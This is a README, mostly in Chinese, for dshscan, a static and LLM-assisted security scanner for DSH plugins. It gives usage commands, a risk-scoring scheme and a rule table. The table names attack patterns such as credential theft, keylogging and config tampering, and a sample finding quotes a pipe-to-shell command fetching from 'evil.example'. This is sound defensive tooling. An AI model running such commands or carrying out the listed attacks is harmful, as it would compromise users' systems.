@shaoshi/dshscan
DSH 插件安全扫描器：对插件源代码进行静态和语义检查，应用 DSH 专用攻击面规则，执行 npm audit，支持批量扫描，并生成包含每项发现的严重性和证据的 HTML 报告。
插件会安装到这里；不确定时保持 web。
npx -y @deepseek-ai/dsh plugin --profile web add github:shaoshi20/dshscan#e08871356e2cd60f72e1b1880dacbf19f41b8056
Scan 以 @shaoshi/dshscan 发布，当前版本为 0.5.0。Plugin Hub 会校验它的 manifest，并保存精确安装来源，便于复现安装结果。
English | 中文
DSH 插件安全扫描器：对插件源码做静态与语义双通道检查，内置 DSH 特有攻击面规则，集成 npm audit，支持批量扫描，输出带严重等级与证据的 HTML 报告。
已收录于 dshbase 插件目录：
https://dshbase.com/plugins/@shaoshi/dshscan/
在线 Demo：
https://shaoshi20.github.io/dshscan/
作为 DSH 插件安装：
dsh plugin add @shaoshi/dshscan
risk_score、severity、safe_to_install、recommendation、findingsnpm pack 下载并扫描包内容--audit 调用 npm auditdsh.bundle、cordis.patch.yml、LICENSE、READMEdshscan --benchmark 输出查全率、误报率、F1 与逐规则指标--rules <file> 加载 JSON 规则--policy <file> 配置 ignoreRules / severityOverrides / includeScopes / excludeScopes--audit-log <file> 以 JSONL 记录每个被标记项--serve 启动本地可视化面板，内置风险分数趋势、发现数量趋势、严重级分布图，并自动把扫描历史写入 .dshscan-history.json--html 输出独立网页报告cd path/to/dshscan
npm install
npm run build
构建后生成 dist/main.js，可通过 dshscan.cmd 或 node dist/main.js 调用。
# 扫描 dshbase 插件（按名称自动查索引，并尝试 clone 源码）
dshscan <plugin-name>
dshscan another-plugin
# 扫描 GitHub 仓库
dshscan github:owner/repo
dshscan https://github.com/owner/repo
# 扫描本地目录 / zip / md
dshscan /path/to/plugin
dshscan plugin.zip
dshscan README.md
# 仅离线扫描（不 clone 远程仓库，只给索引元数据 + 静态限制说明）
dshscan <plugin-name> --offline
# 启用 LLM 语义扫描（需要设置 DSCAN_LLM_API_KEY 或 OPENAI_API_KEY）
dshscan <plugin-name> --semantic
# 自定义 LLM 接入
dshscan <plugin-name> --semantic --llm-base-url https://api.openai.com/v1 --llm-model gpt-4o-mini
# 输出到文件
dshscan <plugin-name> --output report.json --pretty
# 输出人类可读摘要
dshscan <plugin-name> --summary
# 输出 HTML 报告
dshscan <plugin-name> --html --output report.html
# 批量扫描输出 HTML
dshscan --batch --all --html --output batch.html
# 启用 npm audit 依赖漏洞扫描
dshscan <plugin-name> --audit
# 加载自定义规则
dshscan <plugin-name> --rules custom-rules.json
# 加载策略并输出审计日志
dshscan <plugin-name> --policy policy.json --audit-log audit.jsonl
# 启动本地 Web 可视化面板（含趋势图，历史写入 .dshscan-history.json）
dshscan --serve --port 8787
# 指定历史文件
dshscan --serve --port 8787 --history /path/to/history.json
# 运行 Benchmark 评估集（恶意/良性样例，输出摘要）
dshscan --benchmark --summary
# 输出完整 Benchmark JSON 报告
dshscan --benchmark --pretty
# 批量扫描 dshbase 插件（默认离线，按 stars 取前 N）
dshscan --batch --limit 50 --index /path/to/dshbase-directory.json --output batch.json --pretty
# 批量扫描全部插件（离线）
dshscan --batch --all --offline --output all.json
| 变量 | 用途 | 默认 |
|---|---|---|
DSCAN_INDEX | dshbase 插件索引 JSON 路径 | ~/.dsh/dshbase-directory.json（可用环境变量覆盖） |
DSCAN_LLM_API_KEY | 语义扫描 API Key | 无（未设置则仅静态扫描） |
OPENAI_API_KEY | 备选 API Key | 无 |
DSCAN_LLM_BASE_URL | OpenAI 兼容接口地址 | https://api.openai.com/v1 |
DSCAN_LLM_MODEL | 语义分析模型 | gpt-4o-mini |
{
"tool": "DShScan",
"version": "0.2.1",
"target": {
"kind": "plugin",
"raw": "some-plugin",
"displayName": "some-plugin",
"repoUrl": "https://github.com/owner/some-plugin.git",
"metadata": {
"name": "some-plugin",
"stars": 120,
"trust": "silver",
"verified": true,
"npm": false,
"cmd": "dsh plugin add github:owner/some-plugin"
}
},
"risk_score": 0,
"severity": "low",
"safe_to_install": true,
"recommendation": "风险较低，可以安装；仍建议保持插件更新并定期复查。",
"findings": [],
"llm_used": false,
"scan_mode": "static",
"scan_note": "仅静态扫描，非完整扫描。",
"metadata": {
"name": "some-plugin",
"stars": 120,
"trust": "silver",
"verified": true,
"npm": false,
"cmd": "dsh plugin add github:owner/some-plugin"
}
}
{
"id": "R001",
"severity": "critical",
"category": "remote-code-execution",
"title": "Remote script piped to shell",
"evidence": "install.sh:12: curl -fsSL https://evil.example/x.sh | bash",
"recommendation": "Remove remote-pipe-to-shell installers. Vendor the script, pin a checksum, and review before execution.",
"source": "static",
"rule": "R001"
}
| risk_score | severity |
|---|---|
| 0–29 | low |
| 30–59 | medium |
| 60–79 | high |
| 80–100 | critical |
safe_to_install 为 true 仅当：没有 high/critical finding，且 risk_score < 40。
计分方式：每个类别只取最高严重级的权重（critical=50 / high=30 / medium=15 / low=5）， 同一类别的重复命中（如 40 处 chmod）不叠加，类别间求和后封顶 100——避免噪音把分数顶满。
上下文衰减：命中在以下文件里会降一级严重级（文档/测试是描述性的，信号置信度低）：
.md / .markdown / .txt / .rst）——R008（提示注入，本身针对文档）除外test(s)/ 目录、*.test.*、*_test.*、test_*）Dockerfile*、docker-compose*.yml）以下目录完全不扫描：.github / .circleci / .gitlab、third_party / vendor 等 vendored 依赖、
node_modules / dist / build 等构建产物。
| ID | 严重等级 | 类别 |
|---|---|---|
| R001 | critical | 远程脚本管道执行 |
| R002 | high | 动态代码执行（独立 eval、shell eval "..."、new Function、vm 逃逸、os.system、child_process.exec） |
| R002b | medium | shell: true / shell=True（单独出现的弱信号） |
| R003 | high | 混淆代码 |
| R004 | medium | HTTP 明文网络端点（排除模板插值、命名空间 URI、本地/示例域名） |
| R004b | medium | 硬编码公网 IP 回调（排除私网/环回段） |
| R005 | high | 凭据读取/窃取 |
| R006 | high | 持久化/提权（仅强信号：chmod 777、systemctl enable、注册表 Run 键、schtasks、launchctl、crontab -e、--unsafe-perm） |
| R007 | medium | 远程包安装源 |
| R008 | critical | README 提示注入 |
| R009 | medium/high | package.json 生命周期脚本 |
| R010 | high | DSH：cordis.patch.yml 插件树注入（insert 危险 loader / 禁用安全行） |
| R011 | high | DSH：client.mjs 浏览器侧恶意代码（sendBeacon、键盘记录、DOM 注入、外连） |
| R012 | critical | DSH：profile 配置篡改（禁用安全行、添加可疑 bundle、写/执行 profile 文件） |
| M001–M005 | low/high | 索引元数据风险信号（M005=疑似 typosquatting） |
| E001–E005 | medium/high | 扫描限制/输入错误 |
cordis.patch.yml 如果 insert 了 @deepseek-ai/dsh-mcp-client、cordis-plugin-group 等 loader 行，或把 tool-bash、approval、permission 等安全行 disabled: true，属于高风险插件树篡改。sendBeacon 外传、键盘/输入监听、剪贴板读取、innerHTML 注入、postMessage *、外连 WebSocket/fetch 等浏览器侧恶意行为。cordis.yml / cordis.patch.yml / package.json 的 dsh.profile.bundles / pnpm-workspace.yaml，或通过代码写/执行 ~/.dsh、profiles、patch 文件，属于严重供应链风险。npm test
基于 Node 内置 test runner（node --test），覆盖规则命中/反例、上下文衰减、
计分封顶、路径分类与恶意样例端到端判定。
verified=true 仅表示 dshbase CI 可安装，不等于安全审计。--offline 跳过）。scan_mode: "static" 和 "仅静态扫描，非完整扫描"。findings_truncated: true（计分与安装建议仍基于全量）。DSCAN_INDEX 指向你自己的索引）。